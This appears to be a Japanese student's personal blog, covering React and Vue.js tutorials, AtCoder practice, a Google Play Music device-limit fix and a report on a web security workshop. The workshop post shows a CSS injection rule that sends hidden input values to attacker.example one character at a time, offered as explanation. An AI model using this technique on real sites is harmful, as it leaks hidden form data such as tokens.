おーじぇいブログ

ただひたすらに書きます。

「 #websecjp : 体系的に学ぶモダン Web セキュリティ」に参加してきました

はじめに

昨日行われた、「#websecjp: 体系的に学ぶモダン Web セキュリティ」という勉強会に参加してきました。

websecjp.connpass.com

f:id:OJ920:20191124124011p:plain
大手町KDDIビル16階 NICTイノベーションセンター

普段フロントエンドの勉強ばかりしているのですが、最近はバックエンドにも手を出すようになってきて、セキュリティの方もやらんとマズいな、、と思い応募。75人の中からの抽選で、見事30人の中に入ることができました。

セキュリティ関係はドのつくほどの素人。全く前提知識が無い中だったのでとても不安でした。しかし事前学習用にPDFが配られて、それを一通りさらって勉強することができたので、なんとか基礎知識は詰め込むことが出来ました。(本当はconnpass側から連絡が入ってたらしいんですが、どうやらメールが届いていなかったようで確認するのが前々日になってしまいました……)

会場に着くと、周りみんなすごそうな人でいっぱいで、冷や汗をかきました。

同じ島になった方が自己紹介のときに「最近は趣味で自作言語を作っている」と話していたので、あまりのレベルの差に目眩がしました。強すぎ……

学んだこと

今回の講義の目標は「基本的なWebセキュリティのパラダイムを学ぶこと」と設定されており、それぞれの攻撃手法の歴史や実際の例を紹介しつつ自分で手を動かす、というものでした。注意事項に「ほどよいいたずら心と、とてもよい倫理観を持ちましょう」とあったのが印象的でした。

以下に、今回の講義で学んだことの中からいくつか抜粋して載せます。

XSS対策 - Content-Security-Policy(CSP)

CSPとは、「開発者がブラウザに正規のJSはどれかなどの事前情報を与えることで、Content Injection攻撃を防ぐ」仕組みのことです。もし悪意のあるコードがInjectionされてしまっても、開発者が信頼できるコードだと指定した物で無ければ実行を防ぐことができる、というもの。

developer.mozilla.org

これはTwitterGitHubFacebook、Snapchat等、様々なWebサービスが導入しています。

最近では肥大化するCSPを、さらに分割して実装する方法も提案される(提案者はChromeのリードデベロッパー!)など、改善に向けた動きもあるそうです。

github.com

攻撃手法 - CSS Injection

例えば

<input type="hidden" value="hogehoge" />

というHTMLタグがあったとき、

input[value ^= "h"] {
  /* ... */
}

というCSSで「"h"から始まるvalue値のinputタグ」という要素を取ることが出来ます。

これを応用して、

input[value ^= "h"] {
  background: url(http://attacker.example/?h);
}

のように書くと、「もしvalue値が"h"から始まっているinputタグがあったらhttp://attacker.example/?hにGETメソッドを飛ばす」ということができます。攻撃者はCSS Injectionが出来る場所にこのCSSを(値を変えて)繰り返し挿入し、このアドレスを待ち受けておくことで、value値の一文字目が何かを知る(リークする)ことが出来ます。

さらにこれを応用したRecursive Import Techniqueというものを使えば、CSSを一つ注入するだけで、リークしたい文字列全体をリークできるようになる、とのこと。

bit.ly

(この記事を書かれたTsubasaさんはこの勉強会でメンターとして参加されており、様々なことを教えていただきました、、ありがとうございます!)

などなど。とても内容の濃い8時間でした!

おわりに

正直のところ、自分には少しむずかしい話が多かったです。。特に最後のXS-Leaks / XS-Searchはさっぱりで、主催のつばめさんに手取り足取り教えてもらったのにそれを再現する方法がわからないという失態……(本当に申し訳ないです)

ですが、今まで無関心だったWebセキュリティという領域を、少しでも触れることができたので、とても良い学びとなりました。参加してとても良かったです……!

これからWebサイト・サービスを作っていくときに、セキュリティの観点もしっかり見越して構築する必要があるな、ということを改めて実感しました。

ありがとうございました!

おーじぇいの夏休み9日目(8/9)・AtCoderをはじめる

つい最近始まったかのように思えた俺の夏休み。あっという間に時間が流れ、すでに10日を経過しようとしています。

前のエントリでも書いたとおり、この夏は💪圧倒的成長💪をする予定で、毎日家に引きこもってはPCをカタカタする流れになってしまっています。いや、実を言うと初日から一昨日までずっと学校に通いっぱなしだったので、実質夏休みが始まったのは昨日ぐらいからなのですが。。。

んで、Vue.jsの勉強はかなり進んでいます。昨日Nuxt.jsにも手を出して、今はちょっとしたアプリを、ということで実家で使うデジタルサイネージシステムを作っています。昨日は時計をリアルタイム表示するコンポーネントを書いていました。

ついでにOpenMapWeatherのAPIも叩いて現在の天気を表示する部分も書きました。

ということで色々作っています。来週中には完成させたいなぁ……

AtCoderをはじめる

表題。AtCoderをはじめました。

AtCoderというのは、競技プログラミングをオンラインで行うサイトで、そのレーティングで自分のプログラミングスキルが測れてしまうというもの。自分はそう大したプログラムは書けないのですが、とりあえずやってみよう、ということでやってみました。(どういうこと)

まずはこのQiita記事を読んでノロノロやっていきました。ちなみに自分の使う言語はPython3です(これしか使えない)(よわい)

qiita.com

Welcome問題を解く

まずはTutorialで用意されている簡単なA問題から。

https://atcoder.jp/contests/practice/tasks/practice_1

f:id:OJ920:20190809151243p:plain
A - Welcome to AtCoder | おーじぇいの回答

なんだこのクソコード!?

とりあえず正解はしているのですが、色々とツッコミどころが多いですね……無駄な変数が多い気がしますね(これ良いのか悪いのかわからないので誰か強いマンおしえてください)

過去問へ

Welcome問題が終わったら、過去問をいくつか解いていきます。自分のコードを載せるのは気がひけるのですが、一応載せていきましょう。

AtCoder Beginner Contest 086 - A: Product

atcoder.jp

f:id:OJ920:20190809151925p:plain
A - Product | おーじぇいの回答

偶数/奇数判定、今回は余りを出す感じに実装しました。2で割って余りが0になれば偶数、それ以外は奇数です。例外はしらなーい。

AtCoder Beginner Contest 086 - B: 1 21

atcoder.jp

f:id:OJ920:20190809152307p:plain
B- 1 2 1 | おーじぇいの回答

まごうことなきクソコード。一度平方根を500*500まで計算してリストに入れておいてから、それに一致しているかどうかでYesかNoを返します。や、これもっと良い解き方あったんじゃないか……?

AtCoder Beginner Contest 081 - A: Placing Marbles

atcoder.jp

f:id:OJ920:20190809153518p:plain
A - Placing Marbles | おーじぇいの回答

a = a + 1ってa += 1で良くないすか?ということを提出してから気づいた……orz

とりあえず今日はここまで

もう少し解く時間を早くしたいね……これからも頑張りましょう。

おーじぇいの夏休み1日目(8/1)・Vue.jsをはじめる

きたぜ俺の夏休み!!!!!!

おーじぇいです。4000字のレポートを討伐して、とうとうやってきました大学二年の夏休み。

今年の夏休みは💪✨圧倒的成長✨💪するということで、色々やりたいと思います。(ざっくりしてんなぁ)

とりあえず目標としては、Web系の技術を学ぶ!!ということで、Javascriptフレームワークを中心に学んでいきたいです。

Vue.jsをはじめる

f:id:OJ920:20190802235013p:plain

以前Reactをやろうとしましたが挫折しました

某IT企業のセミナーに行ったときに質問したら、「いや、Reactは初心者向けというか、大希望な開発のときに使われているものだから取っ掛かりとしてはあまり……」と言われてしまったので、より始めやすいと言われているVue.jsをやり始めました。

Cloud9でサーバを稼働させるとエラーが出る

開発はAWS Cloud9で行ったのですが、サーバを建てるときにエラーが出てしまうので、プロジェクトフォルダ直下に以下の内容の「vue.config.js」を作成しました。

module.exports = {
  devServer: {
    disableHostCheck: true
  }
}

これで一応サーバは動くのですが、リアルタイムに変更を適応してくれる機能が作動しません。(コンソール見るとlocalhostに接続できないというエラーが出てくる) 詳しい方いましたら教えて下さい。

とりあえずやってみる

そして、今回Vue.jsを始めるにあたって参考にした記事がこちらです。

qiita.com

はじめにつくったのはこんな感じ。

データバインディングとはなんぞやってことをなんとなく理解しました。これは去年のデジコン合宿のときにnever先輩が講演してた内容だな~と思い出して、あのときもう少しちゃんと取り組んでおけば……と後悔したり。。。

それから、HTTP通信を使って取得したデータをバインディングする、というのもやってみたくなったので、郵便番号を入れると住所を(分かる範囲で)出してくれるものを作りました。

荒削りでコンポーネント化も何もしていないのでアレですが、一応コードも載せておきます。

gist.github.com

これまでJavascriptで外部のAPI叩くときはXMLHttpRequest使ってましたが、最近は便利なのもあるんですね……はじめてfetchなるものを使いました。

fetchでURLを読み込ませて、その次に書いてある.thenは成功したときの処理、.catchは失敗したときの処理を書くようです。いろんな場所できく、Promise――「非同期処理」というものらしいです。

developer.mozilla.org

一応大学1年生のときにJavascript一通りやったはずだったのに何も知らなかったゾ……技術の進歩においてかれている……

ということで、とりあえず郵便番号プログラムができたところで今日の学習は終了。色々と記事や本を読んで、さらにレベルアップしていこうと思います。

読んだ記事たち(8/1~8/2)

qiita.com

qiita.com

qiita.com

qiita.com

qiita.com

qiita.com

qiita.com

qiita.com

読んだけどまたじっくり読み直す記事

qiita.com

パッケージマネージャのnpmとか、webpackあたりの技術に触れていたので、今後よりじっくり理解していきたい。

10台制限に達したGoogle Play Musicの「登録端末」をリセットしてもらう方法

f:id:OJ920:20190516203511p:plain

Googleの音楽ストリーミングサービス「Google Play Music」。最近はYouTube MusicやApple Music、Spotify、LINE Musicに押されがちであまり注目を浴びません。しかし、これらのサービスに無いものが、Google Play Musicの「音楽ロッカーサービス」です。Google Play Musicでは、手持ちの最大5万曲までを、クラウドにアップロードしていつでもどこでも聴くことが出来ます。

この便利な機能を使わない手は無い、ということで、ここ3年ほどずっとGoogle Play Musicを使ってきました。Googleのサーバーにアップロードしておけば、microSDカードに入れたり、わざわざスマホの内部ストレージに入れておく必要がないのです。iPhone勢の「空き容量がない~」を尻目に、どんな曲でも1タップで選ぶことができます。

f:id:OJ920:20190516124725p:plain

その数なんと5,000曲近く。これでもまだ4万5000曲アップロードできるってすごいですね。

しかし、これには制限があり、音楽を聴いたりアップロードしたりできるのは、「最大10台の端末まで」という決まりがあります。さらに、この制限を取り消しできるのは1年に4台まで、と決まっています。

これは少し不便です。一般使いユーザーだったらそうでもありませんが、自分は少々ガジェクラに足を突っ込んでいて、カスタムROMを焼いたり、新しいガジェットが大量に家の肥やしになっていたりするような人間です。軽々と最大10台までの制限、さらにはその端末の取り消し可能台数にすら引っかかってしまいます。

端末取り消しの制限に引っかかると、以下のようなメッセージが出て新しい端末を追加することが出来なくなります。

f:id:OJ920:20190516125101p:plain

今回、Googleの日本語チャットサポートでこの問題を解決したので、報告を兼ねて記事にします。

Googleに連絡する

お問い合わせする方法

まず、Googleへの連絡手段はヘルプページの中に隠されています。こちらの「Google Play Music に曲をアップロードできない」の一番下にある「Google Play Music のサポートチームに問い合わせる」を参照してください。

support.google.com

この「お問い合わせ」ボタンをクリックすると、「チャットをリクエスト」が選べるようになります。

f:id:OJ920:20190516125534p:plain

ただし、他のサイトの情報によれば平日以外は選択できないようになっているようです。自分が試したのは木曜日のお昼すぎでした。

チャットリクエストを行う

いきなりチャットが始まるのではなく、まずは今起こっている問題を詳しく書くことになります。

f:id:OJ920:20190516125913p:plain

パソコンから音楽をアップロードしようとしたところ、10台までの制限に引っかかってしまった。アカウントに関連付けられている端末の取り消しをしてほしい。

これぐらいで大丈夫だと思います。名前をと説明を入力したら「送信」をクリック。

チャットを開始

送信したところ、約1分ぐらいで画面が自動で切り替わり、右下にチャット欄が出てきました。ここでサポート担当者とチャットをする模様。

f:id:OJ920:20190516201238p:plain

リアルタイムにサポートしてくれるのはなかなか新鮮な対応でした。早速自分が何故端末解除をしてほしいかということを説明。以下にチャットの経過を掲載します。


Google: この度は、端末制限の解除をご希望されるということでお間違いないでしょうか?

自分: はい、そのとおりです。以前、スマートフォンのROMの入れ替えを何度か行ったことが有り、複数の端末としてカウントされてしまいました。こちらで解除をしようとしたところ、既に解除台数の制限に掛かってしまっているようです。

Google: お伝えいただきありがとうございます。

自分: 既に1年に4台までの制限を使い果たしていると思うのですが、解除していただくことは可能でしょうか?

Google: はい。その場合は専門部署に依頼し、リセットをさせて頂くことが可能でございます。


どうやらリセットを行ってくれる模様。ただし、いくつか留意事項ということで、以下の点をに了承してほしい、ということでした。

  • 端末登録制限のリセットは原則今回限りの対応になる。今後は1年4回のリセットだけになるので注意。
  • 端末登録制限をリセットすると登録端末台数は0台となり、使っている端末をもう一度登録することになる。
  • 端末登録のリセットをしてから、設定変更が反映するまで、最大で24時間程度時間が掛かる場合がある。

ちなみに、現在のライブラリに支障は出ないので安心してほしい、ということを仰っていました。

チャットの所要時間は約20分。待つことも少なく、スムーズに終わらせる事ができました。

制限解除のメールが来る

待つこと15分、Google Play Musicを使っているアカウントのGmail宛に、制限を解除したとの旨のメールが届きます。

f:id:OJ920:20190516202746p:plain

Google Play Musicを開き、設定→デバイス を確認してみると、確かにすべてのデバイスが削除されていることがわかります。

f:id:OJ920:20190516202907p:plain

これでOKです。今後は軽率に端末を登録せず、大事に使っていきたいと思います。

おわりに

10台端末制限はなかなか不便なものもありますが、アカウントを共有して使うことの対策としては十分かもしれません。同じ問題を抱えている方の手助けになれば幸いです。

今回、Googleのサポートさんには、非常にお世話になりました。迅速に問題解決できて嬉しく思います。今後共どうぞ宜しくお願い致します。

参考にしたサイト様

www.dream-seed.com

sosukeblog.com

Windows標準搭載のペイントでモザイクを掛ける小技

Windows標準搭載のペイントは動作が軽快で、単純な機能しか無いにもかかわらず結構色々なところで重宝するもの。例えば、ブログに貼り付ける画像を作るときは、スクリーンショットを貼り付け、その上に赤い四角を配置し、文字を入れて、またこれをブログに貼り付けるというやり方ができます。

ブログの記事のためにスクリーンショットを加工していると、隠したい部分が出てきます。これを単純な黒塗りで隠してしまっても良いですが、なかなか味気ないものです。

ペイントの機能に、モザイク機能は備わっていません。ですが、これを擬似的に再現する方法があるので、今回はこれを紹介します。

ペイントでモザイクを掛ける

まずは、モザイクを掛けたい場所を選択します。

f:id:OJ920:20190506215152p:plain

つぎに、この選択した部分の右下を掴み、左上に向かってググッと縮めます。

f:id:OJ920:20190506215646g:plain

最後に、この縮めた部分をまた右下へ広げ、元の大きさに戻します。

f:id:OJ920:20190506215920g:plain

できあがりです。

f:id:OJ920:20190506220008p:plain

最後に

簡単に言ってしまえば、縮めて伸ばす、ただそれだけです。もともとモザイク処理とは、モザイクにする数px平方の画素(5pxや10pxなど)内の平均の色を定めて、その範囲内を塗りつぶしてしまうことで画像を粗くするというものです。詳しくはここのページが分かりやすいので参照。

www.edu.i.hosei.ac.jp

で、このペイントでの疑似モザイクは縮める過程で実際に平均的な色で塗りつぶすということを行っているので、モザイク処理と仕組みは同じというワケ。

この小技、自分がペイントで画像を弄っていたら偶然見つけてしまったもので浮かれていたのですが、ググってみたら普通に色んな場所で紹介されていて、なかなか凹んだ記憶があります。悔しいので、このブログで紹介、ということで清算したことにしておきましょう。

それでは!

Reactを学ぶ。3日目 Reactとは何か~インタラクティブなコンポーネントまで

前回の記事はこちらです。

920oj.hatenablog.com

前回までで環境構築が終わり、いよいよReactを学んでいく準備ができました。今回からは、公式チュートリアルに沿ってReactを学習していきたいと思います。

ja.reactjs.org

Reactとは?

React はユーザーインターフェイスを構築するための、宣言型で効率的で柔軟な JavaScript ライブラリです。複雑な UI を、「コンポーネント」と呼ばれる小さく独立した部品から組み立てることができます。

うん、ちょっとタイム。いきなり沢山の横文字が出てきて少し混乱したので、ちょっとずつ紐解いていきます。

まずReactというのはJavaScriptのライブラリ。一見違う言語のように見えて、結局はJavaScriptで動作しているもの。数あるJavaScriptのライブラリの中でも、Reactは「UIを構築するため」に使われるものらしい。さらに、特徴として

  • 宣言型
  • 効率的
  • 柔軟

という3つの利点が挙げられています。これ以上を追っていくとキリが無いので、ふーん、いいとこあんじゃん みたいなノリで良しとしました。理解するのはコード書いてからじゃい。

コンポーネント

んで、アプリを充実させていこうとすると、どうしても複雑なUIになってしまいます。わかるよ、Facebookアプリとかどこ押したらQRコード出てくるかわからんもん。

そうなってしまった複雑なUIを、小さな「コンポーネント」という部品に分けてコードを書くことができる、ということです。

現段階のindex.jsを見る限り、3つのクラスが書かれています。それぞれ、

  • Square
  • Board
  • Game

です。そして、これら一つ一つは「Reactコンポーネント」のクラスです。React.Componentから継承することにより、これらのクラスはそれぞれ「Squareコンポーネント」「Boardコンポーネント」「Gameコンポーネント」となります。

f:id:OJ920:20190504224227p:plain

この色がそれぞれの色に対応している、と考えるとわかりやすいですね。Boardクラスの中にSquareクラスが9つあり、またGameクラスの中にBoardクラスと文字・ボタンが組み込まれています。

チュートリアルでは、ショッピングリストのコードが例として挙げられています。

class ShoppingList extends React.Component {
  render() {
    return (
      <div className="shopping-list">
        <h1>Shopping List for {this.props.name}</h1>
        <ul>
          <li>Instagram</li>
          <li>WhatsApp</li>
          <li>Oculus</li>
        </ul>
      </div>
    );
  }
}

// Example usage: <ShoppingList name="Mark" />

コンポーネントは、React に何を描画したいかを伝えます。データが変更されると、React はコンポーネントを効率よく更新して再レンダーします。

コンポーネントは props(“properties” の略)と呼ばれるパラメータを受け取り、render メソッドを通じて、表示するビューの階層構造を返します。

最終行にある、 <ShoppingList name="Mark" /> の、nameの値がデータということでしょうか。propsのパラメータであるnameの値が変更されると、コンポーネント側にこの値が受け渡されて、renderメソッド内の {this.props.name}が変更される――コンポーネントを更新・再レンダーする……らしいです。

JSX

render は、描画すべきものの軽量な記述形式である React 要素というものを返します。たいていの React 開発者は、これらの構造を簡単に記述できる “JSX” と呼ばれる構文を使用しています。

さっきからJavaScriptのコードの中にHTMLがあって気持ち悪いなぁという気分がしてました。どうにもReactではReact要素の構造を記述するために、JSXという構文を使っており、その中にはHTMLタグが直接埋め込まれるようになっている模様。

どのような JavaScript の式も JSX 内で中括弧に囲んで記入することができます。各 React 要素は、変数に格納したりプログラム内で受け渡ししたりできる、JavaScript のオブジェクトです。

JSXの中でJavaScriptの式を書く場合は、{}で囲まなければならないらしいです。例えば

<h1>{10+1}</h1>

のように記述すれば、h1タグで囲まれた11が出てきます。

コンポーネントを使う

上記の ShoppingList コンポーネント<div /><li /> といった組み込みの DOM コンポーネントのみをレンダーしていますが、自分で書いたカスタム React コンポーネントを組み合わせることも可能です。例えば、<ShoppingList /> と書いてショッピングリスト全体を指し示すことができます。

これが最大の利点なんじゃないでしょうか。上記のコードでShoppingListというコンポーネントを作っていましたが、これは、JSXの中で`と書けば使える(指し示す)ことができるようです。

なるほど、これで書くことができるのだったら、コンポーネントを再利用して柔軟にコーディングすることができますね。Reactが選ばれるのも納得です。

データを Props 経由で渡す

先程のセクションで中身を確認するのはやってしまったので、さっそくコードに手を加えていくようです。なんだかワクワクしますね。

現状はポツンと3つのコンポーネントが独立しているだけで、Reactの恩恵は受けられていません。これを書き換えて、”””インタラクティブ”””なものにしていきましょう、というのがこのセクション。

BoardクラスのrenderSquareメソッドを書き換えていきます。まずは変更前、index.jsの15行目から。

class Board extends React.Component {
  renderSquare(i) {
    return <Square />;
  }

これを、

class Board extends React.Component {
  renderSquare(i) {
    return <Square value={i}/>;
  }

に書き換えます。すると、Squareコンポーネントに、valueの値がpropsとして受け渡されます。

さらに、この受け渡されたvalueの値を活かすために、Squareコンポーネントを書き換えます。index.jsの5行目より、

class Square extends React.Component {
  render() {
    return (
      <button className="square">
        {/* TODO */}
      </button>
    );
  }
}

これを、

class Square extends React.Component {
  render() {
    return (
      <button className="square">
        {this.props.value}
      </button>
    );
  }
}

this.props.valueにします。こんな感じに値が受け渡されていくんですね~

f:id:OJ920:20190504231914p:plain

と、いうことで実際に数字を表示させることができました。うん、一歩前進。 f:id:OJ920:20190504232444p:plain

インタラクティブコンポーネントを作る

クリックされたら動作

クリックされたら何をするか……そう、アイツです。ボタンをクリックしたら、は onClickですよね!実際にはイベントリスナーを用いるべきなんでしょうが、自分が受けていた講義ではずっとonClickでした。

index.jsの8行目を以下に書き換えます。

<button className="square" onClick={() => alert('click')}>

それはさておき、ここでのonClickはpropsなので、関数を渡さないと、クリックしていないにもかかわらず実行され続けてしまいます。また、ここではアロー関数の記法が用いられているようです。出たよES6……

(引数,...)=>{...関数本体...}

でしたね!

state

で、ここまではPropsの説明でした。Propsは「親から渡されるプロパティ」のことでしたね。続いて、「そのコンポーネントが持っている”状態”」のことを指すstateに移ります。

React コンポーネントはコンストラクタで this.state を設定することで、状態を持つことができるようになります。this.state はそれが定義されているコンポーネント内でプライベートと見なすべきものです。

うーん、ややこしい。とりあえずコードを書き換えて理解していきます。

クラスが呼び出されたときに実行される「コンストラクタ」を用いて、stateを初期化、this.props.valuethis.state.value に置き換え、onClick={() => this.setState({value: 'X'})}を追加、以上の書き換えを行うと、

index.js 5行目、Squareクラス

class Square extends React.Component {
    constructor(props) {
        super(props);
        this.state = {
            value: null,
        };
    }

    render() {
        return (
            <button
                className="square"
                onClick={() => this.setState({ value: 'X' })}
            >
                {this.state.value}
            </button>
        );
    }
}

こうなります。コンストラクタで初期化、というのはまあわかります。その後、onClickプロパティで「setStateメソッドでvalueオプションをXにする」という関数を実行し、またそのボタンの内容をXにする、といったものです。

squareというclassName(props)のボタンをクリックすると、Squareクラスのvalueというstateの値をXにする、ということでしょうか。

う~んややこしい。でも、確かにやっていることはどうにか理解できますね。

現時点でのコード

import React from 'react';
import ReactDOM from 'react-dom';
import './index.css';

class Square extends React.Component {
    constructor(props) {
        super(props);
        this.state = {
            value: null,
        };
    }

    render() {
        return (
            <button
                className="square"
                onClick={() => this.setState({ value: 'X' })}
            >
                {this.state.value}
            </button>
        );
    }
}

class Board extends React.Component {
    renderSquare(i) {
        return <Square value={i} />;
    }

    render() {
        const status = 'Next player: X';

        return (
            <div>
                <div className="status">{status}</div>
                <div className="board-row">
                    {this.renderSquare(0)}
                    {this.renderSquare(1)}
                    {this.renderSquare(2)}
                </div>
                <div className="board-row">
                    {this.renderSquare(3)}
                    {this.renderSquare(4)}
                    {this.renderSquare(5)}
                </div>
                <div className="board-row">
                    {this.renderSquare(6)}
                    {this.renderSquare(7)}
                    {this.renderSquare(8)}
                </div>
            </div>
        );
    }
}

class Game extends React.Component {
    render() {
        return (
            <div className="game">
                <div className="game-board">
                    <Board />
                </div>
                <div className="game-info">
                    <div>{/* status */}</div>
                    <ol>{/* TODO */}</ol>
                </div>
            </div>
        );
    }
}

// ========================================

ReactDOM.render(
    <Game />,
    document.getElementById('root')
);

ここまでの疑問点

  • JSXのタグ、classNameは通常のHTMLのタグのclassと何が違うのか?

  • コンストラクタ内でsuper()を書くのは何故? →これを後で読む

qiita.com

まとめ

  • Reactとは、JavaScriptフレームワークで「UIを構築するため」に使われる。
  • 複雑なUIを実現するために、小さな「コンポーネント」という部品に分けてコードを書くことができる。
  • コンポーネントは、「props」と呼ばれるパラメータを受け取って、インタラクティブな動作を実現する
  • JSXの中でコンポーネントを独自のタグとして記述することができる
  • onClick={() => 関数の内容} というpropsで、「クリックしたら」という動作を書く
  • コンポーネントの状態を表すには「state」を使う。stateを初期化するにはコンストラクタで初期化する記述をする

始めの入り、ということでちょっと長く書きすぎた気がします。こんどからはもうちょっとサクっと書けるように……でないとモチベが持たない。 とりあえず3日目の記事は以上でおしまいです。

もし間違えやわかりやすい説明があったらコメントで教えてくださると助かります。それでは!

Reactを学ぶ。2日目 VSCodeでチュートリアルの環境構築

前回の記事はこちら 920oj.hatenablog.com

早速Reactのチュートリアルに取り掛かろうと思います。

チュートリアル中に「チュートリアルの準備」というセクションがあり、その中に開発環境を構築する部分があります。自分は元よりVisual Studio Codeを使っていて、こちらのほうが馴染みがあるので、備忘録も兼ねてVSCodeでの環境構築についてメモします。

Node.js・npmのインストール

Reactアプリを開発し始める際に、npmというソフトウェアを使います。そもそもnpmとはなんぞや、というところから自分は始まるのですが、

Node.jsで使われるパッケージ管理ツールのことで、予め用意されている機能を自分のプログラムに組み込んだりするときに用いられるもの

らしいです。(正確に言えば違うと思うんですが、素人の認識ということで甘めに見ておいてください) 詳しく知りたいならTechAcademyの記事とか、Wikipedia)とか参考になると思います。自分は流し読みしました。

このnpmの機能に、Create React Appという物が備わっており、npmでそのコマンドを入力するだけで、とりあえずReactの開発を始められるとのこと。

早速インストールです。npmをインストールするために、Node.jsのウェブサイトに飛びます。npmはNode.js内の機能なので、同時にインストールされる模様です。

nodejs.org

自分の環境はWindows 10 1803 64bitなので、Windowsのマークを選択。インストーラーがダウンロードされます。

f:id:OJ920:20190504191414p:plain

ダウンロードされたmsiファイルを実行。「node-v10.15.3-x64.msi」というファイル名でした。記事執筆時点のLTSバージョンは10.15.3、

インストールが始まります。基本「次へ」で良いみたいです。

f:id:OJ920:20190504191537p:plain

インストール完了したらFinish。念の為PCを再起動しておきます。

再起動後、コマンドプロンプトを立ち上げて、「node -v」と「npm -v」の2つのコマンドを入力、バージョンが表示されたらインストール成功です。

f:id:OJ920:20190504192041p:plain

ちなみに実際の実行ファイルは C:\Program Files\nodejsにあるようです。

作業用スペースを作る

ドキュメントでもどこでも良いので、作業用スペースを作っておきます。自分はドキュメントフォルダの中に、「React」フォルダーを作っておきました。フルパスは C:\Users\○○○○○\Documents\Reactになります。

これを右クリックし、VSCodeで開きます。右クリックメニューに登録していない方は、VSCodeを開いてから、ファイル→フォルダを開く でも構いません。

f:id:OJ920:20190504200613p:plain

開きました。

f:id:OJ920:20190504195827p:plain

雛形を作る

ターミナルを開きます。画面下部にパネルが出ていない方は上部メニュー「ターミナル」→「新しいターミナル」で開きます。

f:id:OJ920:20190504195921p:plain

念の為カレントディレクトリ(今自分がいるディレクトリ)が正しいことを確認。

ここに、

npx create-react-app tutorial

と入力し、Enter。

f:id:OJ920:20190504200752p:plain

1分ぐらい待ちます。一番最後にHappy Hacking!と出てこればOK。

f:id:OJ920:20190504201050p:plain

プロジェクトを空にする

チュートリアルでは、ここからsrcフォルダにあるファイルを全消去するよう指示されています。

VSCode左側のファイラーより、srcフォルダを開き、中に入っているファイルをすべて消去します。srcフォルダまるごと消さないように。

f:id:OJ920:20190504201412p:plain

index.cssを作る

src/フォルダ内に、以下の内容をコピペしてindex.cssを作ります。 ファイルの作成はフォルダを一度選択してから右クリックし、ファイルの作成をクリックします。

f:id:OJ920:20190504201905p:plain

index.css

body {
  font: 14px "Century Gothic", Futura, sans-serif;
  margin: 20px;
}

ol, ul {
  padding-left: 30px;
}

.board-row:after {
  clear: both;
  content: "";
  display: table;
}

.status {
  margin-bottom: 10px;
}

.square {
  background: #fff;
  border: 1px solid #999;
  float: left;
  font-size: 24px;
  font-weight: bold;
  line-height: 34px;
  height: 34px;
  margin-right: -1px;
  margin-top: -1px;
  padding: 0;
  text-align: center;
  width: 34px;
}

.square:focus {
  outline: none;
}

.kbd-navigation .square:focus {
  background: #ddd;
}

.game {
  display: flex;
  flex-direction: row;
}

.game-info {
  margin-left: 20px;
}

index.jsを作る

CSSと同様に、jsファイルも作成します。

index.js

import React from 'react';
import ReactDOM from 'react-dom';
import './index.css';

class Square extends React.Component {
  render() {
    return (
      <button className="square">
        {/* TODO */}
      </button>
    );
  }
}

class Board extends React.Component {
  renderSquare(i) {
    return <Square />;
  }

  render() {
    const status = 'Next player: X';

    return (
      <div>
        <div className="status">{status}</div>
        <div className="board-row">
          {this.renderSquare(0)}
          {this.renderSquare(1)}
          {this.renderSquare(2)}
        </div>
        <div className="board-row">
          {this.renderSquare(3)}
          {this.renderSquare(4)}
          {this.renderSquare(5)}
        </div>
        <div className="board-row">
          {this.renderSquare(6)}
          {this.renderSquare(7)}
          {this.renderSquare(8)}
        </div>
      </div>
    );
  }
}

class Game extends React.Component {
  render() {
    return (
      <div className="game">
        <div className="game-board">
          <Board />
        </div>
        <div className="game-info">
          <div>{/* status */}</div>
          <ol>{/* TODO */}</ol>
        </div>
      </div>
    );
  }
}

// ========================================

ReactDOM.render(
  <Game />,
  document.getElementById('root')
);

以上の2ファイルを保存し終えたら、一度確認しましょう。

動作確認する

この状態で、ターミナルに

cd tutorial

と入力・Enterを押し、カレントディレクトリを変更した後で、

npm start

と入力し、Enterを押すとアプリが実行されます。

f:id:OJ920:20190504202624p:plain

起動すると自動でブラウザが開き、localhostを参照しますが、もし開かなかった場合は

http://localhost:3000/

を開いてください。

f:id:OJ920:20190504202732p:plain

このように表示されたら、チュートリアルの環境構築は成功です。お疲れ様でした。

ターミナルに戻り、Ctrl+Cを押し、Yを押すとNord.jsのサーバが終了します。

まとめ

今日の記事はVisual Studio Codeの環境構築で終了です。次回からは早速、チュートリアルの内容を行っていきたいと思います。

Reactを学ぶ。1日目

最近の目標の中に、「日本に戻ったらWebエンジニア系のインターン・学生アルバイトに応募する」というものがあり、じゃあ何をすればその目標に辿り着けるのか?ということを考えた結果、何か一つJavascriptフレームワークを学んでみようという考えに至りました。
IT系の就職に強いWantedlyをざっと眺めていたところ、どうもReact/React Nativeで開発を行っている会社が多いなーと感じたので、これから少しの間、Reactを学んでいきたいと思います。

今の自分のスペック

学習を始める前に、まずは自分の今いる立場を明確にしておくと良いって、どっかの偉い人がいってました。ということで、自分の備忘録も兼ねてここに記しておきます。

  • HTML5……一通りのタグは覚えていて、リファレンスを見ながらですが、コーディングすることができます。
  • CSS3……上と同様。但しレスポンシブデザイン(flexboxとか)あたりが少し苦手です。←Bootstrap頼りになってしまうため
  • Javascript……大学の講義のお蔭で、前時代的(?)な簡単なコードを書きます。しかし、オブジェクト指向を全く理解していません。
  • PHP……Wordpressをちょっといじるぐらいしか出来ないです……
  • Ruby……Udemyで講座を買ったは良いものの、動画を見るというのが億劫で挫折しました。
  • Python……Webスクレイピングをやろうとして文字コードのうんたらに引っかかり挫折しました。再挑戦はしたいです。
  • C/C++/Java等その他言語……全くの未経験です。

あと一応ですが、ProgateのHTML・CSSJavascriptは全部2周はしています。

現在の参考レベルとして、作ったサイトを以下に掲載します。

東京都市大学デジタルコンテンツ研究会 2019年度新入生歓迎用ランディングページ 2019.tcu-dc.net

2019年3月制作。
デザインからコーディングまで一人でやりました。Javascriptは全く使われていないので、これだけと言ってしまえばこれだけですが……

基礎プログラミング演習2・最終課題 簡易メモプログラム「Memottoko!」 920oj.net

2019年1月制作。
こちらはJavascriptをゴリゴリ書きました。しかしその頃はクラスなどの概念が全く頭の中に入っておらず、少し聞き齧ったES6の知識も入り混じり、ソースコードがお察しなことになっています。それでもLocalStorageを使おうとしている点は褒めてほしいです(何様?)


と、ガチの情報系の学生からすれば生ぬる~いぬるま湯に使ってるような感じの人です。さすがにこれでは就職もつらそうなので、そろそろ知識を固めておきたい……(涙目)

今後の方針

Reactには素晴らしいチュートリアルが用意されているので、これを順にやっていこうかなと思います。

ja.reactjs.org

学んだことはブログでアウトプットしていこうと考えています。 続くかどうかはわかりませんが……やるだけやります。

「徒歩で生活できるか」を基準にその地域のスコアを表示するWebサービス『Walk Score』

www.walkscore.com

